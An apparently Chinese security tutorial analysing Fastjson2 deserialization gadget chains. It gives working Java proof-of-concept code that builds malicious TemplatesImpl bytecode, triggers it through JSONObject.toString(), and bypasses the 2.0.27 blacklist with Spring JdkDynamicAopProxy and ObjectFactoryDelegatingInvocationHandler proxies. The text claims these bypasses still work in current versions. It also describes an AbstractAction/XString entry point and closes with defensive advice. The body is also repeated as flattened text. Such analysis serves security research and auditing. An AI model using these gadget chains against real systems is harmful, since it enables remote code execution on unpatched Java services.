一文带你看懂fastjson2下的反序列化调用链完整过程
字数 5544 2025-10-26 18:21:34

Fastjson2 反序列化漏洞利用链深入分析与教学

文档说明

本文档目标: 深入剖析Fastjson2在特定版本下的反序列化漏洞原理、利用链构造过程、修复方案以及绕过方法。
目标读者: 具备Java安全基础,希望深入理解Fastjson2漏洞细节的安全研究人员、渗透测试人员及开发人员。
技术核心: 利用Fastjson2在序列化(toString)过程中自动调用JavaBean的Getter方法的特性,触发恶意代码执行。


第一章:基础概念与前置知识

1.1 Fastjson 简介

Fastjson是阿里巴巴开源的高性能JSON处理库(序列化与反序列化)。Fastjson2是Fastjson的重要升级版本,在性能和功能上都有显著提升。

1.2 反序列化漏洞的本质

Java反序列化漏洞的通用利用模式是:通过构造一个特殊的对象链,当该对象被反序列化时,其内部方法(如readObjecttoStringhashCodeequals或各类Getter方法)的调用链会最终指向执行任意代码的逻辑(例如Runtime.exec)。

1.3 关键利用类:TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是一个经典的恶意类载体。其核心在于:

  • 它有一个 _bytecodes 字段,可用于承载自定义的字节码。
  • 当它的 getOutputProperties() 方法被调用时,会触发加载 _bytecodes 中的字节码并实例化,从而执行该字节码的静态代码块中的代码。

1.4 Fastjson2 的序列化触发点

与Fastjson1主要关注反序列化(parseObject)不同,Fastjson2的很多利用链是通过序列化(如调用JSONObject的 toString() 方法)触发的。这是因为在序列化过程中,Fastjson2为了获取对象的属性值,会自动调用该对象的所有Getter方法。


第二章:Fastjson2 <= 2.0.26 原生利用链分析

2.1 环境搭建

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>2.0.26</version>
</dependency>

2.2 核心PoC代码分析

// 1. 使用Javassist构造恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd); // 恶意代码放入静态块
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();

// 2. 组装TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 3. 放入JSONObject并触发序列化
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", templates);
jsonObject.toString(); // 触发点!

2.3 调用链详细流程(重点)

  1. 入口: JSONObject.toString()
  2. 序列化上下文创建: 内部创建 JSONWriter(具体实现类为 JSONWriterUTF16JDK8)。
  3. 处理Map条目: JSONWriter 会遍历 JSONObject(本质是LinkedHashMap)的所有键值对。
  4. 获取ObjectWriter: 当处理到值为 TemplatesImpl 类型时,由于没有预定义的序列化器,Fastjson2会动态生成一个序列化器类。
  5. 动态生成序列化器: 这个过程由 ObjectWriterCreatorASM 完成。
    • 关键步骤1 - 收集Getter: 通过 BeanUtils.getters() 方法,利用反射获取 TemplatesImpl 类的所有公有方法,并筛选出符合条件的Getter方法(如 getOutputPropertiesgetStylesheetDOMgetTransletIndex)。
    • 关键步骤2 - 生成字节码: 动态创建一个名为 com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl 的类。这个类的 write 方法包含了调用上述所有Getter方法的逻辑。
  6. 触发执行: 生成的 OWG_1_3_TemplatesImpl 类的 write 方法被调用,从而调用了 templates.getOutputProperties()
  7. 代码执行: getOutputProperties() 触发 TemplatesImpl 加载恶意字节码,执行静态代码块中的 Runtime.getRuntime().exec("open -a Calculator"),弹出计算器。

调用栈一览:

getOutputProperties:507, TemplatesImpl
write:-1, OWG_1_3_TemplatesImpl (动态生成的类)
write:548, ObjectWriterImplMap
toJSONString:2388, JSON
toString:1028, JSONObject
main:32, Main

2.4 动态类的查看

可以使用Arthas等Java诊断工具,在程序运行时反编译生成的 OWG_1_3_TemplatesImpl 类,直观看到其调用了多个Getter方法。


第三章:官方修复与首次绕过(2.0.27+)

3.1 修复方案

在2.0.27版本中,官方在 BeanUtils.getters() 方法中添加了一个黑名单检查

关键代码 (BeanUtils.ignore):

static boolean ignore(Class objectClass) {
    String name = objectClass.getName();
    switch (name) {
        case "javassist.CtNewClass":
        case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl": // 黑名单!
        case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
        case "org.apache.commons.collections.functors.ChainedTransformer":
        ... // 其他黑名单类
            return true;
        default:
            return false;
    }
}

当传入的类(如 TemplatesImpl)在黑名单中时,getters() 方法直接返回空列表,导致无法为其生成动态序列化器,从而阻断了利用链。

3.2 绕过技术:动态代理(JdkDynamicAopProxy)

核心思路: 既然 TemplatesImpl 本身被禁,我们可以用一个不被禁的代理类来“包装”它。当Fastjson2处理代理类时,如果能最终触发对 TemplatesImplgetOutputProperties 调用,即可绕过黑名单。

利用类: org.springframework.aop.framework.JdkDynamicAopProxy(需要spring-aop依赖)

绕过原理:

  1. 代理接口: 创建一个实现 javax.xml.transform.Templates 接口的代理对象。Templates 接口包含了 getOutputProperties 方法,且不在黑名单中
  2. 目标对象: 将代理的目标对象(TargetSource)设置为我们的恶意 TemplatesImpl 实例。
  3. 调用转发: 当Fastjson2调用代理对象的 getOutputProperties() 时,会进入 JdkDynamicAopProxy.invoke() 方法。在该方法中,如果 AdvisedSupport 的配置使得 chain(拦截器链)为空,则会直接调用 targetSource.getTarget() 返回的真实对象(即我们的 TemplatesImpl)的对应方法。
    // JdkDynamicAopProxy.invoke 方法片段
    if (chain.isEmpty()) {
        ... 
        // 关键行:调用真实目标对象的方法
        retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
    }
    

PoC构造步骤:

// 1. 构造恶意TemplatesImpl (同上)
TemplatesImpl templates = ...;

// 2. 创建AdvisedSupport,设置目标对象
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);

// 3. 创建JdkDynamicAopProxy实例作为InvocationHandler
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);

// 4. 创建代理对象,代理Templates接口
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

// 5. 放入JSONObject并触发序列化
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();

Fastjson2的处理流程(关键):
当Fastjson2处理代理对象时,在 BeanUtils.getters() 中会有一层特殊判断:

if (Proxy.isProxyClass(objectClass)) {
    Class<?>[] interfaces = objectClass.getInterfaces();
    if (interfaces.length == 1) { // 注意这个条件!
        // 如果是单接口代理,则转而分析该接口
        return getters(interfaces[0], methodCache);
    }
}
  • 由于我们的代理只实现了 Templates 这一个接口,Fastjson2会转而分析 Templates.class
  • Templates 接口不在黑名单中,且拥有 getOutputProperties 方法,因此会成功为其生成动态序列化器。
  • 序列化时调用代理对象的Getter,最终通过 JdkDynamicAopProxy 触发真实目标 TemplatesImpl 的恶意方法。

注意点: 如果代理实现了多个接口(new Class[]{Templates.class, AnotherInterface.class}),则不会进入上述 if (interfaces.length == 1) 分支,Fastjson2会直接分析代理类本身(如 com.sun.proxy.$Proxy0)。只要这个代理类本身不在黑名单内,利用链依然可以成功。这为后续绕过提供了更多可能性。


第四章:另一种代理利用链(ObjectFactoryDelegatingInvocationHandler)

这是另一个基于Spring的利用链,不依赖 JdkDynamicAopProxy

利用类: org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler(内部类)

利用链:

  1. ObjectFactoryDelegatingInvocationHandler.invoke 被调用。
  2. 它调用其内部维护的 ObjectFactorygetObject() 方法来获取一个对象。
  3. 然后在这个对象上调用相应的方法。

PoC构造(两层代理):

// 1. 构造恶意TemplatesImpl
TemplatesImpl templates = ...;

// 2. 第一层代理:让JSONObject本身作为InvocationHandler,代理ObjectFactory接口
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object", templates); // 放入恶意对象
// 当代理的getObject()方法被调用时,会触发JSONObject的invoke,最终返回map.get("object"),即templates
Object proxy0 = Proxy.newProxyInstance(..., new Class[]{ObjectFactory.class}, (InvocationHandler)jsonObject0);

// 3. 第二层代理:使用ObjectFactoryDelegatingInvocationHandler
Constructor constructor = Class.forName("...ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(proxy0);
// 代理Templates接口
Object proxy1 = Proxy.newProxyInstance(..., new Class[]{Templates.class}, handler1);

// 4. 触发
JSONObject finalJson = new JSONObject();
finalJson.put("fupanc", proxy1);
finalJson.toString();

流程:
Fastjson2处理 proxy1 (代理了Templates) -> 调用 getOutputProperties -> 触发 ObjectFactoryDelegatingInvocationHandler.invoke -> 调用 proxy0.getObject()(即 ObjectFactory.getObject())-> 触发 JSONObject.invoke -> 返回 templates -> 在 templates 上调用 getOutputProperties -> 代码执行。


第五章:新型反序列化入口点(AbstractAction)

当常见的入口点(如 HashMapBadAttributeValueExpException)被限制时,可以寻找其他可序列化类的 readObject 方法作为新入口。

利用类: javax.swing.AbstractAction 及其子类(如 StyledEditorKit.AlignmentAction

利用链:

AlignmentAction.readObject() -> 
    AbstractAction.putValue() -> 
        AbstractAction.firePropertyChange() -> 
            XString.equals() -> 
                JSONObject.toString() -> 
                    ... (后续Fastjson2利用链)

构造技巧(难点):
firePropertyChange(key, oldValue, newValue) 方法中会调用 oldValue.equals(newValue)。我们需要:

  • oldValue: 设置为 com.sun.org.apache.xpath.internal.objects.XString 实例。
  • newValue: 设置为包含我们恶意代理对象的 JSONObject
    XStringequals 方法被调用时,会触发参数的 toString() 方法,从而启动Fastjson2的序列化流程。

特殊处理:
由于在序列化时,ArrayTableput 方法会覆盖相同key的值,导致反序列化时 oldValue 获取不正确。文章提出了一种巧妙的十六进制编辑方法:

  1. 正常生成一个包含两个不同key的序列化文件(key1=XString, key2=JSONObject)。
  2. 用十六进制编辑器将第一个key的字符改为与第二个key相同。这样在反序列化时,arrayTable.get(key) 会返回第一个值(XString),但后续 put 操作会覆盖为第二个值(JSONObject),从而在 firePropertyChange 时成功触发 XString.equals(JSONObject)

第六章:总结与防护建议

6.1 漏洞总结表

特性 Fastjson2 <= 2.0.26 (原生链) JdkDynamicAopProxy 绕过 ObjectFactoryDelegatingInvocationHandler 绕过
触发方式 JSONObject.toString() JSONObject.toString() JSONObject.toString()
核心类 TemplatesImpl TemplatesImpl + JdkDynamicAopProxy TemplatesImpl + ObjectFactoryDelegatingInvocationHandler + JSONObject
关键点 动态生成序列化器调用Getter 动态代理绕过黑名单检查 两层代理,利用ObjectFactory接口
依赖 Fastjson2 <= 2.0.26 Fastjson2 + spring-aop Fastjson2 + spring-beans (通常包含在spring-aop中)
修复影响 2.0.27 通过黑名单修复 直至最新版(如2.0.58)仍可利用 直至最新版(如2.0.58)仍可利用

6.2 安全建议

  1. 升级Fastjson2: 始终使用最新版本的Fastjson2。
  2. 安全配置: 如果无法升级,务必使用SafeMode功能(JSONFactory.setSafeMode(true)),这是最根本的防护措施。
  3. 谨慎反序列化: 绝对不要反序列化来自不可信源的JSON数据。
  4. JVM防护: 使用JVM安全管理器或RASP方案进行防护。
  5. 代码审计: 检查项目中是否存在将用户可控数据直接传入 JSONObject.toString() 或类似序列化方法的代码。

通过本教学文档,您应该能够全面理解Fastjson2反序列化漏洞的多种利用技术及其演变过程。这些知识对于进行有效的代码安全审计和构建防御体系至关重要。

Fastjson2 反序列化漏洞利用链深入分析与教学 文档说明 本文档目标: 深入剖析Fastjson2在特定版本下的反序列化漏洞原理、利用链构造过程、修复方案以及绕过方法。 目标读者: 具备Java安全基础,希望深入理解Fastjson2漏洞细节的安全研究人员、渗透测试人员及开发人员。 技术核心: 利用Fastjson2在序列化( toString )过程中自动调用JavaBean的Getter方法的特性,触发恶意代码执行。 第一章:基础概念与前置知识 1.1 Fastjson 简介 Fastjson是阿里巴巴开源的高性能JSON处理库(序列化与反序列化)。Fastjson2是Fastjson的重要升级版本,在性能和功能上都有显著提升。 1.2 反序列化漏洞的本质 Java反序列化漏洞的通用利用模式是:通过构造一个特殊的对象链,当该对象被反序列化时,其内部方法(如 readObject 、 toString 、 hashCode 、 equals 或各类Getter方法)的调用链会最终指向执行任意代码的逻辑(例如 Runtime.exec )。 1.3 关键利用类: TemplatesImpl com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是一个经典的恶意类载体。其核心在于: 它有一个 _bytecodes 字段,可用于承载自定义的字节码。 当它的 getOutputProperties() 方法被调用时,会触发加载 _bytecodes 中的字节码并实例化,从而执行该字节码的静态代码块中的代码。 1.4 Fastjson2 的序列化触发点 与Fastjson1主要关注反序列化( parseObject )不同,Fastjson2的很多利用链是通过 序列化 (如调用JSONObject的 toString() 方法)触发的。这是因为在序列化过程中,Fastjson2为了获取对象的属性值,会自动调用该对象的所有Getter方法。 第二章:Fastjson2 <= 2.0.26 原生利用链分析 2.1 环境搭建 2.2 核心PoC代码分析 2.3 调用链详细流程(重点) 入口: JSONObject.toString() 序列化上下文创建: 内部创建 JSONWriter (具体实现类为 JSONWriterUTF16JDK8 )。 处理Map条目: JSONWriter 会遍历 JSONObject (本质是 LinkedHashMap )的所有键值对。 获取ObjectWriter: 当处理到值为 TemplatesImpl 类型时,由于没有预定义的序列化器,Fastjson2会 动态生成 一个序列化器类。 动态生成序列化器: 这个过程由 ObjectWriterCreatorASM 完成。 关键步骤1 - 收集Getter: 通过 BeanUtils.getters() 方法,利用反射获取 TemplatesImpl 类的所有公有方法,并筛选出符合条件的Getter方法(如 getOutputProperties , getStylesheetDOM , getTransletIndex )。 关键步骤2 - 生成字节码: 动态创建一个名为 com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl 的类。这个类的 write 方法包含了调用上述所有Getter方法的逻辑。 触发执行: 生成的 OWG_1_3_TemplatesImpl 类的 write 方法被调用,从而调用了 templates.getOutputProperties() 。 代码执行: getOutputProperties() 触发 TemplatesImpl 加载恶意字节码,执行静态代码块中的 Runtime.getRuntime().exec("open -a Calculator") ,弹出计算器。 调用栈一览: 2.4 动态类的查看 可以使用Arthas等Java诊断工具,在程序运行时反编译生成的 OWG_1_3_TemplatesImpl 类,直观看到其调用了多个Getter方法。 第三章:官方修复与首次绕过(2.0.27+) 3.1 修复方案 在2.0.27版本中,官方在 BeanUtils.getters() 方法中添加了一个 黑名单检查 。 关键代码 ( BeanUtils.ignore ): 当传入的类(如 TemplatesImpl )在黑名单中时, getters() 方法直接返回空列表,导致无法为其生成动态序列化器,从而阻断了利用链。 3.2 绕过技术:动态代理(JdkDynamicAopProxy) 核心思路: 既然 TemplatesImpl 本身被禁,我们可以用一个 不被禁的代理类 来“包装”它。当Fastjson2处理代理类时,如果能最终触发对 TemplatesImpl 的 getOutputProperties 调用,即可绕过黑名单。 利用类: org.springframework.aop.framework.JdkDynamicAopProxy (需要 spring-aop 依赖) 绕过原理: 代理接口: 创建一个实现 javax.xml.transform.Templates 接口的代理对象。 Templates 接口包含了 getOutputProperties 方法,且 不在黑名单中 。 目标对象: 将代理的目标对象( TargetSource )设置为我们的恶意 TemplatesImpl 实例。 调用转发: 当Fastjson2调用代理对象的 getOutputProperties() 时,会进入 JdkDynamicAopProxy.invoke() 方法。在该方法中,如果 AdvisedSupport 的配置使得 chain (拦截器链)为空,则会直接调用 targetSource.getTarget() 返回的真实对象(即我们的 TemplatesImpl )的对应方法。 PoC构造步骤: Fastjson2的处理流程(关键): 当Fastjson2处理代理对象时,在 BeanUtils.getters() 中会有一层特殊判断: 由于我们的代理只实现了 Templates 这一个接口,Fastjson2会转而分析 Templates.class 。 Templates 接口不在黑名单中,且拥有 getOutputProperties 方法,因此会成功为其生成动态序列化器。 序列化时调用代理对象的Getter,最终通过 JdkDynamicAopProxy 触发真实目标 TemplatesImpl 的恶意方法。 注意点: 如果代理实现了多个接口( new Class[]{Templates.class, AnotherInterface.class} ),则不会进入上述 if (interfaces.length == 1) 分支,Fastjson2会直接分析代理类本身(如 com.sun.proxy.$Proxy0 )。只要这个代理类本身不在黑名单内,利用链依然可以成功。这为后续绕过提供了更多可能性。 第四章:另一种代理利用链(ObjectFactoryDelegatingInvocationHandler) 这是另一个基于Spring的利用链,不依赖 JdkDynamicAopProxy 。 利用类: org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler (内部类) 利用链: ObjectFactoryDelegatingInvocationHandler.invoke 被调用。 它调用其内部维护的 ObjectFactory 的 getObject() 方法来获取一个对象。 然后在这个对象上调用相应的方法。 PoC构造(两层代理): 流程: Fastjson2处理 proxy1 (代理了 Templates ) -> 调用 getOutputProperties -> 触发 ObjectFactoryDelegatingInvocationHandler.invoke -> 调用 proxy0.getObject() (即 ObjectFactory.getObject() )-> 触发 JSONObject.invoke -> 返回 templates -> 在 templates 上调用 getOutputProperties -> 代码执行。 第五章:新型反序列化入口点(AbstractAction) 当常见的入口点(如 HashMap 、 BadAttributeValueExpException )被限制时,可以寻找其他可序列化类的 readObject 方法作为新入口。 利用类: javax.swing.AbstractAction 及其子类(如 StyledEditorKit.AlignmentAction ) 利用链: 构造技巧(难点): firePropertyChange(key, oldValue, newValue) 方法中会调用 oldValue.equals(newValue) 。我们需要: oldValue : 设置为 com.sun.org.apache.xpath.internal.objects.XString 实例。 newValue : 设置为包含我们恶意代理对象的 JSONObject 。 当 XString 的 equals 方法被调用时,会触发参数的 toString() 方法,从而启动Fastjson2的序列化流程。 特殊处理: 由于在序列化时, ArrayTable 的 put 方法会覆盖相同key的值,导致反序列化时 oldValue 获取不正确。文章提出了一种巧妙的 十六进制编辑 方法: 正常生成一个包含两个不同key的序列化文件( key1=XString , key2=JSONObject )。 用十六进制编辑器将第一个key的字符改为与第二个key相同。这样在反序列化时, arrayTable.get(key) 会返回第一个值( XString ),但后续 put 操作会覆盖为第二个值( JSONObject ),从而在 firePropertyChange 时成功触发 XString.equals(JSONObject) 。 第六章:总结与防护建议 6.1 漏洞总结表 | 特性 | Fastjson2 <= 2.0.26 (原生链) | JdkDynamicAopProxy 绕过 | ObjectFactoryDelegatingInvocationHandler 绕过 | | :--- | :--- | :--- | :--- | | 触发方式 | JSONObject.toString() | JSONObject.toString() | JSONObject.toString() | | 核心类 | TemplatesImpl | TemplatesImpl + JdkDynamicAopProxy | TemplatesImpl + ObjectFactoryDelegatingInvocationHandler + JSONObject | | 关键点 | 动态生成序列化器调用Getter | 动态代理绕过黑名单检查 | 两层代理,利用 ObjectFactory 接口 | | 依赖 | Fastjson2 <= 2.0.26 | Fastjson2 + spring-aop | Fastjson2 + spring-beans (通常包含在spring-aop中) | | 修复影响 | 2.0.27 通过黑名单修复 | 直至最新版(如2.0.58)仍可利用 | 直至最新版(如2.0.58)仍可利用 | 6.2 安全建议 升级Fastjson2: 始终使用最新版本的Fastjson2。 安全配置: 如果无法升级,务必使用SafeMode功能( JSONFactory.setSafeMode(true) ),这是最根本的防护措施。 谨慎反序列化: 绝对不要反序列化来自不可信源的JSON数据。 JVM防护: 使用JVM安全管理器或RASP方案进行防护。 代码审计: 检查项目中是否存在将用户可控数据直接传入 JSONObject.toString() 或类似序列化方法的代码。 通过本教学文档,您应该能够全面理解Fastjson2反序列化漏洞的多种利用技术及其演变过程。这些知识对于进行有效的代码安全审计和构建防御体系至关重要。